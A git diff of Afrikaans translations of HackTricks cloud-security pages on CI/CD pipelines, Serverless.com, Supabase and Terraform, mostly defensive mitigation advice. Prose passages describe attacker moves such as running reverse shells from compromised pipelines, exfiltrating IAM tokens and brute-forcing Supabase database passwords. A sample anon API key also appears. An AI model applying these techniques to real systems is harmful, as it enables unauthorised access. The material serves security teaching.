uitvoer om te probeer om dit verder te exploiteer. +- **Wolk**: Die aanvaller kan toegang verkry tot **ander masjiene in die wolk** maar kan ook **geheime** IAM rolle/dienste rekeninge **tokens** van dit eksfiltreer om **verdere toegang binne die wolk** te verkry. +- **Platforms masjien**: Soms sal die take binne die **pypelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n wolk met **geen verdere toegang** is. +- **Kies dit:** Soms sal die **pypelines platform verskeie masjiene geconfigureer hê** en as jy die **CI konfigurasie lêer kan wysig**, kan jy **aan dui waar jy die kwaadwillige kode wil uitvoer**. In hierdie situasie sal 'n aanvaller waarskynlik 'n omgekeerde skulp op elke moontlike masjien uitvoer om te probeer om dit verder te exploiteer. - **Kompromitteer produksie**: As jy binne die pypeline is en die finale weergawe daaruit gebou en ontplooi word, kan jy **die kode wat in produksie gaan loop, kompromitteer**. ## Meer relevante inligting diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index f05ae848c..182b25ad5 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,4 +1,4 @@ -# Serverless.com Veiligheid +# Serverless.com Sekuriteit {{#include ../banners/hacktricks-training.md}} @@ -70,9 +70,9 @@ rate: rate(10 minutes) Hulpbronne -**Hulpbronne** stel jou in staat om addisionele wolkhulpbronne te definieer waarop jou diens afhanklik is, soos databasisse, stoor emmers of IAM rolle. +**Hulpbronne** stel jou in staat om addisionele wolk hulpbronne te definieer waarop jou diens afhanklik is, soos databasisse, stoor emmers, of IAM rolle. -Hulle word onder die `resources` afdeling gespesifiseer, dikwels met behulp van CloudFormation-sintaksis vir AWS. +Hulle word gespesifiseer onder die `resources` afdeling, dikwels met behulp van CloudFormation sintaksis vir AWS. ```yaml resources: Resources: @@ -98,7 +98,7 @@ WriteCapacityUnits: 1 Die **Verskaffer** objek spesifiseer die wolkdiensteverskaffer (bv. AWS, Azure, Google Cloud) en bevat konfigurasie-instellings wat relevant is vir daardie verskaffer. -Dit sluit besonderhede in soos die runtime, streek, fase, en geloofsbriewe. +Dit sluit besonderhede in soos die runtime, streek, fase, en akrediteer. ```yaml yamlCopy codeprovider: name: aws @@ -112,7 +112,7 @@ stage: dev Fase en Streek -Die fase verteenwoordig verskillende omgewings (bv., ontwikkeling, staging, produksie) waar jou diens ontplooi kan word. Dit stel spesifieke konfigurasies en ontplooiings vir die omgewing in staat. +Die fase verteenwoordig verskillende omgewings (bv. ontwikkeling, staging, produksie) waar jou diens ontplooi kan word. Dit stel omgewings-spesifieke konfigurasies en ontplooiings in staat. ```yaml provider: stage: dev @@ -159,7 +159,7 @@ layers: **Veranderlikes** stel dinamiese konfigurasie in staat deur die gebruik van plekhouers wat by ontplooiingstyd opgelos word. -- **Sintaksis:** `${variable}` sintaksis kan omgewingveranderlikes, lêerinhoud of ander konfigurasieparameters verwys. +- **Sintaksis:** `${variable}` sintaksis kan omgewingveranderlikes, lêerinhoud, of ander konfigurasieparameters verwys. ```yaml functions: @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **Aangepaste Veranderlikes:** Die `custom` afdeling word gebruik om gebruikerspesifieke veranderlikes en konfigurasies te definieer wat regdeur die `serverless.yml` hergebruik kan word. +* **Aangepaste Veranderlikes:** Die `custom` afdeling word gebruik om gebruiker-spesifieke veranderlikes en konfigurasies te definieer wat hergebruik kan word regdeur die `serverless.yml`. ```yaml custom: @@ -241,9 +241,9 @@ TABLE_NAME: ${self:custom.tableName}
-Afhangighede +Afhangklikhede -**Afhangighede** bestuur die eksterne biblioteke en modules wat jou funksies benodig. Hulle word tipies hanteer deur middel van pakketbestuurders soos npm of pip, en saamgepak met jou ontplooiingspakket met behulp van gereedskap of plugins soos `serverless-webpack`. +**Afhangklikhede** bestuur die eksterne biblioteke en modules wat jou funksies benodig. Hulle word tipies hanteer deur middel van pakketbestuurders soos npm of pip, en saamgevoeg met jou ontplooiingspakket met behulp van gereedskap of plugins soos `serverless-webpack`. ```yaml plugins: - serverless-webpack @@ -254,7 +254,7 @@ plugins: Hooks -**Hooks** stel jou in staat om pasgemaakte skripte of opdragte op spesifieke punte in die ontplooiing lewensiklus uit te voer. Hulle word gedefinieer met behulp van plugins of binne die `serverless.yml` om aksies voor of na ontplooiings uit te voer. +**Hooks** laat jou toe om pasgemaakte skripte of opdragte op spesifieke punte in die ontplooiing lewensiklus uit te voer. Hulle word gedefinieer met behulp van plugins of binne die `serverless.yml` om aksies voor of na ontplooiings uit te voer. ```yaml custom: hooks: @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Dit behoort 'n **app** genaamd `tutorialapp` te geskep het wat jy kan nagaan in [serverless.com](serverless.com-security.md) en 'n gids genaamd `Tutorial` met die lêer **`handler.js`** wat 'n paar JS-kode bevat met 'n `helloworld` kode en die lêer **`serverless.yml`** wat daardie funksie verklaar: +Dit behoort 'n **app** genaamd `tutorialapp` te geskep het wat jy kan nagaan in [serverless.com](serverless.com-security.md) en 'n gids genaamd `Tutorial` met die lêer **`handler.js`** wat 'n bietjie JS-kode met 'n `helloworld` kode bevat en die lêer **`serverless.yml`** wat daardie funksie verklaar: {{#tabs }} {{#tab name="handler.js" }} @@ -324,7 +324,7 @@ method: get {{#endtabs }} 4. Skep 'n AWS verskaffer deur in die **dashboard** te gaan op `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. -1. Om `serverless.com` toegang tot AWS te gee, sal dit vra om 'n cloudformation-stapel te loop met hierdie konfigurasie-lêer (op die tyd van hierdie skrywe): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +1. Om `serverless.com` toegang tot AWS te gee, sal dit vra om 'n cloudformation-stapel te loop met behulp van hierdie konfigurasie-lêer (op die tyd van hierdie skrywe): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) 2. Hierdie sjabloon genereer 'n rol genaamd **`SFRole-`** met **`arn:aws:iam::aws:policy/AdministratorAccess`** oor die rekening met 'n Trust Identity wat `Serverless.com` AWS-rekening toelaat om toegang tot die rol te verkry.
@@ -399,7 +399,7 @@ Type: String ```
-5. Die tutoriaal vra om die lêer `createCustomer.js` te skep wat basies 'n nuwe API-eindpunt sal skep wat deur die nuwe JS-lêer hanteer word en vra om die `serverless.yml`-lêer te wysig om dit te laat genereer 'n **nuwe DynamoDB-tabel**, 'n **omgewing veranderlike** te definieer, die rol wat die gegenereerde lambdas sal gebruik. +5. Die tutoriaal vra om die lêer `createCustomer.js` te skep wat basies 'n nuwe API-eindpunt sal skep wat deur die nuwe JS-lêer hanteer word en vra om die `serverless.yml`-lêer te wysig om 'n **nuwe DynamoDB-tabel** te genereer, 'n **omgewing veranderlike** te definieer, die rol wat die gegenereerde lambdas sal gebruik. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -482,18 +482,18 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtabs }} 6. Ontplooi dit met **`serverless deploy`** -1. Die ontplooiing sal uitgevoer word deur 'n CloudFormation Stack +1. Die ontplooiing sal uitgevoer word via 'n CloudFormation Stack 2. Let daarop dat die **lambdas blootgestel word via API gateway** en nie via direkte URL's nie 7. **Toets dit** 1. Die vorige stap sal die **URL's** druk waar jou API eindpunte lambda funksies ontplooi is -## Sekuriteitsherziening van Serverless.com +## Sekuriteits Hersiening van Serverless.com -### **Verkeerd geconfigureerde IAM Rolle en Toestemmings** +### **Verkeerd Geconfigureerde IAM Rolle en Toestemmings** Oormatig permissiewe IAM rolle kan ongeoorloofde toegang tot wolkbronne verleen, wat lei tot datalekke of bronmanipulasie. -Wanneer geen toestemmings vir 'n Lambda funksie gespesifiseer word nie, sal 'n rol met toestemmings slegs om logs te genereer, geskep word, soos: +Wanneer geen toestemmings vir 'n Lambda funksie gespesifiseer word nie, sal 'n rol met toestemmings net om logs te genereer geskep word, soos:
@@ -551,9 +551,9 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- ### **Onveilige Geheime en Konfigurasiebestuur** -Die stoor van sensitiewe inligting (bv. API-sleutels, databasisbewyse) direk in **`serverless.yml`** of kode kan lei tot blootstelling as repositories gecompromitteer word. +Die stoor van sensitiewe inligting (bv. API sleutels, databasis akrediteer) direk in **`serverless.yml`** of kode kan lei tot blootstelling as repositories gecompromitteer word. -Die **aanbevole** manier om omgewing veranderlikes in **`serverless.yml`** lêer van serverless.com (ten tyde van hierdie skrywe) te stoor, is om die `ssm` of `s3` verskaffers te gebruik, wat toelaat om die **omgewing waardes van hierdie bronne tydens ontplooiing te verkry** en **konfigureer** die **lambdas** omgewing veranderlikes met die **tekst duidelik van die waardes**! +Die **aanbevole** manier om omgewing veranderlikes in **`serverless.yml`** lêer van serverless.com (ten tyde van hierdie skrywe) te stoor, is om die `ssm` of `s3` verskaffers te gebruik, wat toelaat om die **omgewing waardes van hierdie bronne tydens ontplooiing te verkry** en die **lambdas** omgewing veranderlikes met die **tekst sonder die waardes** te **konfigureer**! > [!CAUTION] > Daarom sal enigeen met toestemmings om die lambdas konfigurasie binne AWS te lees, in staat wees om **toegang te verkry tot al hierdie omgewing veranderlikes in duidelike teks!** @@ -564,16 +564,16 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And selfs al dit hardcoding van die omgewing veranderlike waarde in die **`serverless.yml`** lêer voorkom, sal die waarde tydens ontplooiing verkry word en sal dit **in duidelike teks binne die lambda omgewing veranderlike bygevoeg word**. +En selfs al voorkom dit dat die omgewing veranderlike waarde in die **`serverless.yml`** lêer hardgecodeer word, sal die waarde tydens ontplooiing verkry word en sal dit **in duidelike teks binne die lambda omgewing veranderlike bygevoeg word**. > [!TIP] -> Die aanbevole manier om omgewing veranderlikes met serveless.com te stoor, is om dit in 'n **AWS geheim** te stoor en net die geheim naam in die omgewing veranderlike te stoor en die **lambda kode moet dit versamel**. +> Die aanbevole manier om omgewing veranderlikes met serveless.com te stoor, is om dit **in 'n AWS geheim te stoor** en net die geheimnaam in die omgewing veranderlike te stoor en die **lambda kode moet dit versamel**. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** - **Secrets Manager Integrasie:** Gebruik dienste soos **AWS Secrets Manager.** - **Gekodeerde Veranderlikes:** Maak gebruik van die Serverless Framework se kodering funksies vir sensitiewe data. -- **Toegangbeheer:** Beperk toegang tot geheime gebaseer op rolle. +- **Toegangsbeheer:** Beperk toegang tot geheime gebaseer op rolle. --- @@ -581,9 +581,9 @@ And selfs al dit hardcoding van die omgewing veranderlike waarde in die **`serve Verouderde of onveilige afhanklikhede kan kwesbaarhede inbring, terwyl onvanpaste invoerhantering kan lei tot kode-inspuitaanvalle. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Afhanklikheid Bestuur:** Werk afhanklikhede gereeld op en skandeer vir kwesbaarhede. +- **Afhanklikheidsbestuur:** Werk afhanklikhede gereeld op en skandeer vir kwesbaarhede. ```yaml plugins: @@ -599,11 +599,11 @@ plugins: ### **Onvoldoende Logging en Monitering** -Sonder behoorlike logging en monitering kan kwaadwillige aktiwiteite onopgemerk bly, wat die insidentreaksie vertraag. +Sonder behoorlike logging en monitering kan kwaadwillige aktiwiteite onopgemerk bly, wat die insidentrespons vertraag. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Gekonsolideerde Logging:** Versamel logs met dienste soos **AWS CloudWatch** of **Datadog**. +- **Gekonsolideerde Logging:** Aggregereer logs met dienste soos **AWS CloudWatch** of **Datadog**. ```yaml plugins: @@ -611,7 +611,7 @@ plugins: ``` - **Aktiveer Gedetailleerde Logging:** Vang noodsaaklike inligting sonder om sensitiewe data bloot te stel. -- **Stel Waarskuwings Op:** Konfigureer waarskuwings vir verdagte aktiwiteite of afwykings. +- **Stel Waarskuwings In:** Konfigureer waarskuwings vir verdagte aktiwiteite of afwykings. - **Gereelde Monitering:** Moniteer logs en metrieke voortdurend vir potensiële sekuriteitsinsidente. --- @@ -620,7 +620,7 @@ plugins: Oop of onvanpaste beveiligde API's kan uitgebuit word vir ongeoorloofde toegang, Denial of Service (DoS) aanvalle, of kruis-web aanvalle. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** - **Outentisering en Magtiging:** Implementeer robuuste meganismes soos OAuth, API sleutels, of JWT. @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Tarief Beperking en Throttling:** Voorkom misbruik deur versoek tariewe te beperk. +- **Tariefbeperking en Throttling:** Voorkom misbruik deur versoektempo's te beperk. ```yaml provider: @@ -669,11 +669,11 @@ headers: Gedeelde hulpbronne en onvoldoende isolasie kan lei tot voorregverhogings of onbedoelde interaksies tussen funksies. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** - **Isolasie van Funksies:** Ken unieke hulpbronne en IAM rolle toe om onafhanklike werking te verseker. - **Hulpbron Partitionering:** Gebruik aparte databasisse of stoor emmers vir verskillende funksies. -- **Gebruik VPC's:** Ontplooi funksies binne Virtuele Privaatskywe vir verbeterde netwerk isolasie. +- **Gebruik VPC's:** Ontplooi funksies binne Virtuele Privaatskywe vir verbeterde netwerkisolasie. ```yaml provider: @@ -690,11 +690,11 @@ subnetIds: ### **Onvoldoende Data Beskerming** -Ongeëngkodeerde data in rus of in oordrag kan blootgestel word, wat kan lei tot datalekke of vervalsing. +Ongeëkodeerde data in rus of in oordrag kan blootgestel word, wat kan lei tot datalekke of vervalsing. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Enkripteer Data in Rus:** Maak gebruik van wolkdienste se enkripsie funksies. +- **Enkripteer Data in Rus:** Maak gebruik van wolkdienste se enkripteerfunksies. ```yaml resources: @@ -707,8 +707,8 @@ SSEEnabled: true ``` - **Enkripteer Data in Oordrag:** Gebruik HTTPS/TLS vir alle datatransmissies. -- **Veilige API Kommunikasie:** Handhaaf enkripsie protokolle en valideer sertifikate. -- **Bestuur Enkripsie Sleutels Veilig:** Gebruik bestuurde sleutel dienste en draai sleutels gereeld. +- **Veilige API Kommunikasie:** Handhaaf enkripteerprotokolle en valideer sertifikate. +- **Bestuur Enkripteersleutels Veilig:** Gebruik bestuurde sleuteldienste en roteer sleutels gereeld. --- @@ -716,15 +716,15 @@ SSEEnabled: true Gedetailleerde foutboodskappe kan sensitiewe inligting oor die infrastruktuur of kodebasis blootstel, terwyl onbehandelde uitsonderings kan lei tot toepassingskrake. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Generiese Foutboodskappe:** Vermy die blootstelling van interne besonderhede in fout antwoorde. +- **Generiese Foutboodskappe:** Vermy die blootstelling van interne besonderhede in foutantwoorde. ```javascript javascriptCopy code// Voorbeeld in Node.js exports.hello = async (event) => { try { -// Funksie logika +// Funksielogika } catch (error) { console.error(error); return { @@ -742,25 +742,25 @@ body: JSON.stringify({ message: 'Interne Bediener Fout' }), ### **Onveilige Ontplooiing Praktyke** -Blootgestelde ontplooiing konfigurasies of ongeoorloofde toegang tot CI/CD pype kan lei tot kwaadwillige kode ontplooiings of misconfigurasies. +Blootgestelde ontplooiingskonfigurasies of ongeoorloofde toegang tot CI/CD-pype kan lei tot kwaadwillige kode-ontplooiings of misconfigurasies. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Veilige CI/CD Pype:** Implementeer streng toegangbeheer, multi-faktor verifikasie (MFA), en gereelde ouditte. -- **Berg Konfigurasie Veilig:** Hou ontplooiing lêers vry van hardgecodeerde geheime en sensitiewe data. +- **Veilige CI/CD Pype:** Implementeer streng toegangsbeheer, multi-faktor outentisering (MFA), en gereelde ouditte. +- **Stoor Konfigurasie Veilig:** Hou ontplooiingslêers vry van hardgecodeerde geheime en sensitiewe data. - **Gebruik Infrastruktuur as Kode (IaC) Sekuriteitsgereedskap:** Gebruik gereedskap soos **Checkov** of **Terraform Sentinel** om sekuriteitsbeleide af te dwing. -- **Onveranderlike Ontplooiings:** Voorkom ongeoorloofde veranderinge na ontplooiing deur onveranderlike infrastruktuur praktyke aan te neem. +- **Onveranderlike Ontplooiings:** Voorkom ongeoorloofde veranderinge na ontplooiing deur onveranderlike infrastruktuurpraktyke aan te neem. --- ### **Kwetsbaarhede in Plugins en Uitbreidings** -Die gebruik van ongeëvalueerde of kwaadwillige derdeparty plugins kan kwesbaarhede in jou serverless toepassings inbring. +Die gebruik van ongeëvalueerde of kwaadwillige derdeparty-plugins kan kwesbaarhede in jou serverless toepassings inbring. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Evalueer Plugins Deeglik:** Beoordeel die sekuriteit van plugins voor integrasie, en verkies dié van betroubare bronne. -- **Beperk Plugin Gebruik:** Gebruik slegs noodsaaklike plugins om die aanval oppervlak te minimaliseer. +- **Evalueer Plugins Deeglik:** Beoordeel die sekuriteit van plugins voordat dit geïntegreer word, en verkies dié van betroubare bronne. +- **Beperk Plugin Gebruik:** Gebruik slegs noodsaaklike plugins om die aanvaloppervlak te minimaliseer. - **Monitor Plugin Opdaterings:** Hou plugins op datum om voordeel te trek uit sekuriteitsopdaterings. - **Isolasie van Plugin Omgewings:** Voer plugins in geïsoleerde omgewings uit om potensiële kompromies te bevat. @@ -770,20 +770,20 @@ Die gebruik van ongeëvalueerde of kwaadwillige derdeparty plugins kan kwesbaarh Publiek toeganklike funksies of onbeperkte API's kan uitgebuit word vir ongeoorloofde operasies. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** -- **Beperk Funksie Toegang:** Gebruik VPC's, sekuriteitsgroepe, en vuurmuur reëls om toegang tot vertroude bronne te beperk. +- **Beperk Funksie Toegang:** Gebruik VPC's, sekuriteitsgroepe, en vuurmuur reels om toegang tot vertroude bronne te beperk. - **Implementeer Robuuste Outentisering:** Verseker dat alle blootgestelde eindpunte behoorlike outentisering en magtiging vereis. -- **Gebruik API Gateways Veilig:** Konfigureer API Gateways om sekuriteitsbeleide af te dwing, insluitend invoer validasie en tarief beperking. -- **Deaktiveer Ongebruikte Eindpunte:** Hersien gereeld en deaktiveer enige eindpunte wat nie meer in gebruik is nie. +- **Gebruik API Gateways Veilig:** Konfigureer API Gateways om sekuriteitsbeleide af te dwing, insluitend invoervalidasie en tariefbeperking. +- **Deaktiveer Ongebruikte Eindpunte:** Hersien en deaktiveer gereeld enige eindpunte wat nie meer in gebruik is nie. --- ### **Oorvloedige Toestemmings vir Spanlede en Eksterne Samewerkers** -Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers kan lei tot ongeoorloofde toegang, datalekke, en misbruik van hulpbronne. Hierdie risiko is verhoog in omgewings waar verskeie individue verskillende vlakke van toegang het, wat die aanval oppervlak en potensiaal vir binnelandse bedreigings verhoog. +Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers kan lei tot ongeoorloofde toegang, datalekke, en misbruik van hulpbronne. Hierdie risiko is verhoog in omgewings waar verskeie individue verskillende vlakke van toegang het, wat die aanvaloppervlak en potensiaal vir binnenshuise bedreigings verhoog. -#### **Mitigering Strategieë** +#### **Versagtingsstrategieë** - **Beginsel van Minste Voorreg:** Verseker dat spanlede en samewerkers slegs die toestemmings het wat nodig is om hul take uit te voer. @@ -791,21 +791,21 @@ Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers ### **Toegang Sleutels en Lisensie Sleutels Sekuriteit** -**Toegang Sleutels** en **Lisensie Sleutels** is kritieke akrediteerbare wat gebruik word om interaksies met die Serverless Framework CLI te outentiseer en te magtig. +**Toegang Sleutels** en **Lisensie Sleutels** is kritieke akrediteer wat gebruik word om interaksies met die Serverless Framework CLI te outentiseer en te magtig. - **Lisensie Sleutels:** Dit is unieke identifiseerders wat benodig word om toegang tot Serverless Framework weergawe 4 te outentiseer wat toelaat om via CLI aan te meld. -- **Toegang Sleutels:** Akrediteerbare wat die Serverless Framework CLI toelaat om met die Serverless Framework Dashboard te outentiseer. Wanneer jy aanmeld met `serverless` cli, sal 'n toegang sleutel **gegenereer en op die skootrekenaar gestoor word**. Jy kan dit ook as 'n omgewing veranderlike genaamd `SERVERLESS_ACCESS_KEY` stel. +- **Toegang Sleutels:** Akrediteer wat toelaat dat die Serverless Framework CLI met die Serverless Framework Dashboard outentiseer. Wanneer jy aanmeld met `serverless` cli, sal 'n toegang sleutel **gegenereer en op die skootrekenaar gestoor word**. Jy kan dit ook as 'n omgewing veranderlike genaamd `SERVERLESS_ACCESS_KEY` stel. #### **Sekuriteitsrisiko's** 1. **Blootstelling Deur Kode Depositories:** -- Hardcoding of per ongeluk die toekennings sleutels en lisensie sleutels aan die weergawebeheer stelsels kan lei tot ongeoorloofde toegang. -2. **Onveilige Berging:** -- Die berging van sleutels in duidelike teks binne omgewing veranderlikes of konfigurasie lêers sonder behoorlike enkripsie verhoog die waarskynlikheid van lekkasie. +- Hardcoding of per ongeluk die toekennings sleutels en lisensie sleutels aan die weergawebeheerstelsels kan lei tot ongeoorloofde toegang. +2. **Onveilige Stoor:** +- Die stoor van sleutels in duidelike teks binne omgewing veranderlikes of konfigurasielêers sonder behoorlike enkripteer verhoog die waarskynlikheid van lekkasie. 3. **Onvanpaste Verspreiding:** - Die deel van sleutels deur onveilige kanale (bv. e-pos, klets) kan lei tot onderskepping deur kwaadwillige akteurs. 4. **Gebrek aan Rotasie:** -- Om sleutels nie gereeld te roteer nie, verleng die blootstelling tydperk as sleutels gecompromitteer word. +- Om sleutels nie gereeld te roteer nie, verleng die blootstellingstydperk as sleutels gecompromitteer word. 5. **Oorvloedige Toestemmings:** - Sleutels met breë toestemmings kan uitgebuit word om ongeoorloofde aksies oor verskeie hulpbronne uit te voer. diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 65ecfc956..30f7042c1 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,4 +1,4 @@ -# Supabase Veiligheid +# Supabase Sekuriteit {{#include ../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ Basies wanneer 'n projek geskep word, sal die gebruiker 'n supabase.co subdomein > **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project//settings/database` verkry word** Hierdie **databasis** sal in 'n AWS streek ontplooi word, en om daartoe te verbind, sal dit moontlik wees om te verbind met: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dit is in us-west-1 geskep).\ -Die wagwoord is 'n **wagwoord wat die gebruiker voorheen ingevoer het**. +Die wagwoord is 'n **wagwoord wat die gebruiker vroeër ingevoer het**. Daarom, aangesien die subdomein 'n bekende een is en dit as gebruikersnaam gebruik word en die AWS streke beperk is, mag dit moontlik wees om te probeer om die **wagwoord te brute force**. @@ -33,11 +33,11 @@ Hierdie afdeling bevat ook opsies om: > [!TIP] > **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project//settings/api` verkry word** -Die URL om toegang tot die supabase API in jou projek te verkry, sal wees: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +Die URL om toegang te verkry tot die supabase API in jou projek sal wees: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon api sleutels -Dit sal ook 'n **anon API sleutel** (`role: "anon"`), soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` genereer wat die toepassing sal moet gebruik om met die API sleutel in ons voorbeeld in kontak te tree. +Dit sal ook 'n **anon API sleutel** genereer (`role: "anon"`), soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` wat die toepassing nodig sal hê om te gebruik om die API sleutel blootgestel in ons voorbeeld te kontak. Dit is moontlik om die API REST te vind om hierdie API te kontak in die [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), maar die mees interessante eindpunte sal wees: @@ -118,7 +118,7 @@ Die API-sleutel lyk soos volg: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ > [!TIP] > Deur **standaard** sal supabase **nuwe gebruikers toelaat om rekeninge te skep** op jou projek deur die voorheen genoemde API eindpunte te gebruik. -Ehowever, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet verifieer** om in die rekening in te log. Dit is moontlik om **"Laat anonieme aanmeldings toe"** in te skakel om mense toe te laat om in te log sonder om hul e-posadres te verifieer. Dit kan toegang tot **onverwagte data** verleen (hulle kry die rolle `public` en `authenticated`).\ +E however, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet verifieer** om in die rekening in te log. Dit is moontlik om **"Laat anonieme aanmeldings toe"** in te skakel om mense toe te laat om in te log sonder om hul e-posadres te verifieer. Dit kan toegang tot **onverwagte data** verleen (hulle kry die rolle `public` en `authenticated`).\ Dit is 'n baie slegte idee omdat supabase per aktiewe gebruiker hef, so mense kan gebruikers skep en inlog en supabase sal vir hulle hef:
@@ -138,9 +138,9 @@ Dit is moontlik om 'n SMTP in te stel om e-posse te stuur. ### Gevorderde Instellings - Stel vervaldatum in vir toegangstokens (3600 standaard) -- Stel in om potensieel gecompromitteerde verfris tokens te detecteer en in te trek +- Stel in om potensieel gecompromitteerde verfris tokens te detecteer en te herroep en tydoue - MFA: Dui aan hoeveel MFA faktore op een slag per gebruiker geregistreer kan word (10 standaard) -- Maksimum Direkte Databasis Verbindinge: Maksimum aantal verbindings wat gebruik word om te autentiseer (10 standaard) +- Maksimum Direkte Databasis Verbindinge: Maksimum aantal verbindings wat gebruik word om te verifieer (10 standaard) - Maksimum Versoek Duur: Maksimum tyd wat toegelaat word vir 'n Auth versoek om te duur (10s standaard) ## Berging diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 2f5c733e7..c3027e65b 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,16 +1,16 @@ -# Terraform Security +# Terraform Sekuriteit {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[Uit die dokumentasie:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **cloud en op-prem hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies. +HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **wolke en plaaslike hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, berging en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies. -#### How does Terraform work? +#### Hoe werk Terraform? -Terraform skep en bestuur hulpbronne op cloud platforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk. +Terraform skep en bestuur hulpbronne op wolkplatforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk. ![](<../images/image (177).png>) @@ -18,13 +18,13 @@ HashiCorp en die Terraform gemeenskap het reeds **meer as 1700 verskaffers** ges Die kern Terraform werksvloei bestaan uit drie fases: -- **Write:** Jy definieer hulpbronne, wat oor verskeie cloud verskaffers en dienste mag wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Cloud (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi. -- **Plan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie. -- **Apply:** Op goedkeuring, voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal. +- **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi. +- **Beplan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande 